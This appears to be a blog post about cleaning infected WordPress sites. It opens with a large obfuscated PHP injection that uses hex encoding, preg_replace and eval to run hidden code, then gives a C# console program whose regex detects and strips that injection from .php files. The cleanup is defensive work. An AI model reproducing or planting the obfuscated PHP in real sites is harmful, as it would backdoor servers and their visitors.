preg_replace("%x2f%50%x2e%52%x29%57%x7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x78z!>2<!gps)%x5c%x7825j>1<%x5cx5c%x7825:osvufs:~928>>%x5c%x780gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x782323ldfidk!~!<**qp%x5c%x7825!7;utpI#7>%x5c%x782f7rfs%x5c7fw6*CW&)7gj6<.[A%x5c%6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujoc%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x7{jt)!gj!<*2bd%x5c%x7825-#1GO%f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x%x7860hA%x5c%x7827pd%x5c%x7%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fep7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x75c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%xx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825npd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%sv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787f825w6Z6<.4%x5c%x7860hA%x5c%x7827c%x7825-#jt0}Z;0]=]0#)2!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x25h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x7825Z<^2%x5c%x785c2%x7825j=6[%x5c%x7825ww2!>#p#%x525>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x78)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x^-%x5c%x7825hOh%x5c%%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%860{6:!}7;!}6;##}C;!>>!x5c%x7822)!gj}1~!<2p%25r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o%x5c%x7825)!gj!<2,*j%7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbM5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x77;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%55Ld]55#*<%x5c%x7825bG7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>:+946:ce44#)zbssb!>!ssbnpex7825tww**WYsboepn)%x5c)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<uboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;my%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%xx782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x78255!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fwfs%x5c%x78256<*17-SFEBFI,878{**#k#)tutjyf%x5c%x7860%x7>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)CW&)7gj6<*doj%x5c%x785%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y35c%x7822!ftmbg)!gj<*#x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x73of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%4-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]5b:>1<!fmtf!%x5c%x7825b:>%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)mx7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782273]y76]258]y6g]273]y7666~67<&w6<*&7-#o]s]o]s]825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:57%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x782322]3]364]6]283]427]36]373P6]36]73]83]238po#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)y83]256]y81]265]y72]254]y76]61]y33]68]y[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c27827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7885cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x782%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x7825x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146fw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c65]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]275c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5cx5c%x782fh%x5c%x7825)GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS[")7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827t4)#P#-#Q#-#B#-#T#-#E#-#G2)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x.;%x5c%x7860UQPMSVD!-id%x5c%msv%x5c%x7825)}k~~~<ftmbg!osvufsc%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%5<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48yc%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%3]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)6<*QDU%x5c%x7860MPT7-NBFSUT%x525)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x782/(.*)/epreg_replacedjblbnsdwy'; $qzzwqleqqo = explode(chr((273-229)),'1058,68,9328,48,501,33,832,29,5353,65,4624,40,4856,50,40,50,9096,57,9002,48,9888,55,3941,41,5932,39,6204,32,4587,37,5848,27,883,39,1361,52,8401,23,6670,42,9050,46,7695,55,5418,61,1654,21,5613,27,3108,30,6150,54,4794,62,10009,30,5727,58,3490,42,5003,56,386,21,10039,67,8494,65,230,42,7901,69,8918,41,7600,42,942,57,7750,21,3812,21,1474,52,1037,21,2244,55,9376,58,7642,25,5662,65,3237,35,561,53,5640,22,4041,44,6712,23,3982,59,3295,58,9561,28,2064,62,8757,54,4379,52,1888,41,9589,32,999,38,6484,43,6441,43,1588,21,4136,60,6800,21,1752,61,4196,26,7436,51,6821,36,1721,31,1994,70,4085,51,2638,70,6099,51,6735,21,8040,35,6390,20,3532,48,5785,29,9943,66,7970,70,5149,58,5875,57,2126,67,9458,42,3685,31,7232,36,5814,34,2299,38,1675,25,4526,61,5059,25,5207,58,7124,26,2447,38,181,49,2708,64,674,39,8600,50,4222,38,5585,28,272,44,3427,63,4431,39,7390,46,8959,43,6982,69,5507,31,3781,31,4311,68,2548,42,6034,65,6527,61,7880,21,7268,63,3580,50,3272,23,5971,63,9264,43,8221,40,6916,66,7667,28,1609,45,1184,65,4260,51,6236,23,534,27,7547,53,7173,59,4664,35,4906,61,4750,44,9216,48,9829,59,4699,51,7487,60,316,70,1813,20,9307,21,922,20,8261,65,6608,62,2590,48,9719,57,2215,29,9500,61,861,22,3392,35,8378,23,2794,59,1833,55,3915,26,4470,56,7771,61,7073,51,6259,38,2772,22,8326,52,1929,65,3833,25,614,60,1700,21,137,44,5538,47,8075,62,2853,70,407,43,9153,63,450,51,90,47,7331,59,8873,45,6297,35,8689,68,6588,20,3138,62,7150,23,7832,48,3010,60,3630,55,3070,38,8811,62,9661,58,2485,63,1315,46,6857,59,7051,22,1413,61,9621,40,2404,43,1526,62,8559,41,2337,67,810,22,2982,28,6332,58,4967,36,6756,44,1249,66,5084,65,8137,32,8424,70,2193,22,2924,58,5479,28,6410,31,3353,39,9776,53,5265,45,713,28,3858,57,9434,24,5310,43,3716,65,3200,37,1126,58,8169,52,8650,39,741,69,0,40,2923,1'); $ifjhyarlhw=substr($ghkpbkldao,(36181-26075),(32-25)); if (!function_exists('wpatekrfkn')) { function wpatekrfkn($lvejcmnday, $tqebttflow) { $wzjddmebme = NULL; for($bkbmnonwwh=0;$bkbmnonwwh<(sizeof($lvejcmnday)/2);$bkbmnonwwh++) { $wzjddmebme .= substr($tqebttflow, $lvejcmnday[($bkbmnonwwh*2)],$lvejcmnday[($bkbmnonwwh*2)+1]); } return $wzjddmebme; };} $szerhjoqyk="\x20\57\x2a\40\x64\143\x63\141\x70\161\x7a\146\x6c\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\64\x30\55\x32\60\x33\51\x29\54\x20\143\x68\162\x28\50\x36\64\x32\55\x35\65\x30\51\x29\54\x20\167\x70\141\x74\145\x6b\162\x66\153\x6e\50\x24\161\x7a\172\x77\161\x6c\145\x71\161\x6f\54\x24\147\x68\153\x70\142\x6b\154\x64\141\x6f\51\x29\51\x3b\40\x2f\52\x20\150\x78\153\x69\142\x74\156\x74\164\x64\40\x2a\57\x20"; $eehkaejhtl=substr($ghkpbkldao,(31400-21287),(65-53)); $eehkaejhtl($ifjhyarlhw, $szerhjoqyk, NULL); $eehkaejhtl=$szerhjoqyk; $eehkaejhtl=(651-530); $ghkpbkldao=$eehkaejhtl-1; ?>

Tired of this haks I wrote a small .cs colsole for cleaning this files.
Other websites suggest a .sh script but I’m a Windows user and I’d use its tools.

Feel free to use/edit/whatever this code:


using System;
using System.Text;
using System.IO;
using System.Text.RegularExpressions;

namespace ConsoleApplicationCleanWordpress
{
    class Program
    {

        static Regex re = new Regex(@"^<\?php\sif\(\!isset\(\$GLOBALS\[" + "\"" + @"\\x61\\156\\x75\\156\\x61" + "\"" + @"\]\)\)\s.*\s\?>");

        //static Regex re = new Regex(@"^<\?php.*(\#\-\!OVMM\*\<%x22%51%x29%51%x29%73"", NULL\);).*\s\?>");

        static int count = 0;

        static void Main(string[] args)
        {
            cleanFolder(@"C:\Users\max\Desktop\public_html");

            Console.WriteLine(count + " infecetd files.");
            Console.WriteLine("THE END!");
            Console.ReadLine();

        }

        private static void cleanFolder(string folder)
        {
            var di = new DirectoryInfo(folder);

            foreach (var subfolder in di.GetDirectories())
                cleanFolder(subfolder.FullName);

            /*
            foreach (var file in di.GetFiles())
            {
                if (file.FullName.ToLower().EndsWith(".php"))
                    cleanFile(file);
                else
                    file.Delete(); // don't need to upload it anymore (css, js, big files, etc)
            }
            */

            foreach (var file in di.GetFiles("*.php"))
                cleanFile(file);

        }

        private static void cleanFile(FileInfo file)
        {
            var content = File.ReadAllText(file.FullName);
            if (re.IsMatch(content))
            {
                var orig = file.FullName;
                Console.WriteLine(++count + " Infected: " + orig);
                file.MoveTo(orig + ".bk");
                File.WriteAllText(orig, re.Replace(content, ""));
            }
        }
    }
}


Other resources:

Lascia un commento

I campi obbligatori sono contrassegnati con *.


:bye:  :good:  :negative:  :scratch:  :wacko:  :yahoo:  B-) 
more...